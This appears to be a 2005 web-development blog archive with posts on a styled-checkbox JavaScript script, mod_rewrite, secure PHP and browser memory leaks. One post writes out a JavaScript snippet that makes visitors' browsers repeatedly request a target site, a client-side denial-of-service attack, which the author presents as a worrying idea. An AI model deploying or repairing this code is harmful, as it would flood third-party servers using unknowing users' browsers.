So, I took time out from decorating to trawl the Internet, as is my wont. I came across a nice site with Apache Mod_Rewrite cheat sheets which is nerdy, but useful. The same site also has a nice article about Writing Secure PHP which is pretty good - although I have some comments… Read more »
Archive for July, 2005
I’ve been reading recently about how to do Styled Checkboxes. Well, this was something I was working on too - and naturally, I like my way more.
How it works
When the page loads, the JavaScript in checkbox.js checks all of the INPUT tags on the page. If they are a checkbox, and have BOTH and imgOn and an imgOff, then the INPUT tag has its style set to hidden, and the appropriate images are added to the DOM. They’re floating, though, and so are positioned where the checkbox was on the page.
When you click on one, it changes the state of the underlying checkbox (it’s still there, just hidden), and displays the image appropriate for that state.
When the form is submitted, the checkbox is submitted as normal.
As a user leaves the page, on unload the code in checkbox.js tries to tidy up after itself, although I’m a little concerned about memory leaks after some interesting articles I read recently.
Known Issues
- These controls are not part of the tabindex. My friend Bruce Sandeman has been working on a version of this where the images are ‘tabable’, but is struggling to turn the border of the images off. I’ve included the code anyway - see checkbox2.js. I’ve not reviewed it yet, so user beware!
- It’d be nice to hand all events on to the original checkbox for handling.
- At the least, some sort of mouseover/mouseout? It’s not so obvious that these are checkboxes, at least with the demo images I’ve chosen.
- I’m a little concerned about memory leaks given some things I’ve read recently and my use of closures. If anyone knows how to prove/prevent any leaks, let me know, that would be cool
How to Use
Real tricky this - include the checkbox.js file in your HTML page.
<script src="checkbox.js"></script>
Then, in the HTML for each of your checkboxes, add two new attributes - ‘imgOn’ and ‘imgOff’. The value of these attributes should be the path to the images you want to use for the checked (’on’) and unchecked (’off’) states.
<input type="checkbox" value='2' imgOn='tick.gif' imgOff='cross.gif' />
and with luck, that should be you done.
See the code below: Read more »
Maybe the XMLHTTPRequest handler isn’t such a good idea…
Right, so I was thinking about the XMLHTTPRequest handler. Well, okay, actually, I was thinking of Sandra Bullock, and this idea popped into my head…
You can use XMLHTTPRequests to make requests of a web server. Fair enough. And you can make requests of another site - check. And you can make many of them on one page - yup. And finally, you don’t have to do anything with the response - you see where I’m going with this yet?
Assume you have a function for creating XMLHTTPRequest objects. Consider the following:
var urlTarget = 'www.example.com'; // The site we want to DOS
var aStack = array();
function fnHTTP (oHTTP) {
return function () {
if (oHTTP.readyState == 3) {
oHTTP.open("GET", urlTarget, true);
oHTTP.send(null);
}
}
}
function setupDOS () {
for (i=0; i<100; i++ ) {
oHTTP = GetXMLHTTPRequest();
oHTTP.open("GET", urlTarget, true);
oHTTP.onreadystatechange = fnHTTP(oHTTP);
oHTTP.send(null);
aStack.push( oHTTP );
}
}
window.onload = setupDOS;
So, a user goes to a page. In the background, after they’ve loaded the page, JavaScript is creating a whole load of XMLHTTPRequest objects, and then using these to make requests of a target site. And as each object gets serviced, it makes another request. Read more »
Yet strangely fascinating. How safe is your house from Nuclear attack. London is ‘ -0.13, 51.5 ‘. And that’s ‘Nu-clear’ for any Americans, not ‘Nuke-u-lar’…
So, I’d been thinking of writing something like this. Basically, it allows you to fetch and XML page through the XMLHTTPRequest thingy, apply a style to it, and display it as a page. Cool!
A good article for on MSDN. With the whole advent of ‘Ajax’ and richer, JavaScript enabled user interfaces, memory leaks like this will become a much bigger issue. I know some people will say ‘memory is cheap’ and that there is a lot of it, but that really isn’t adequate. So, worth a read.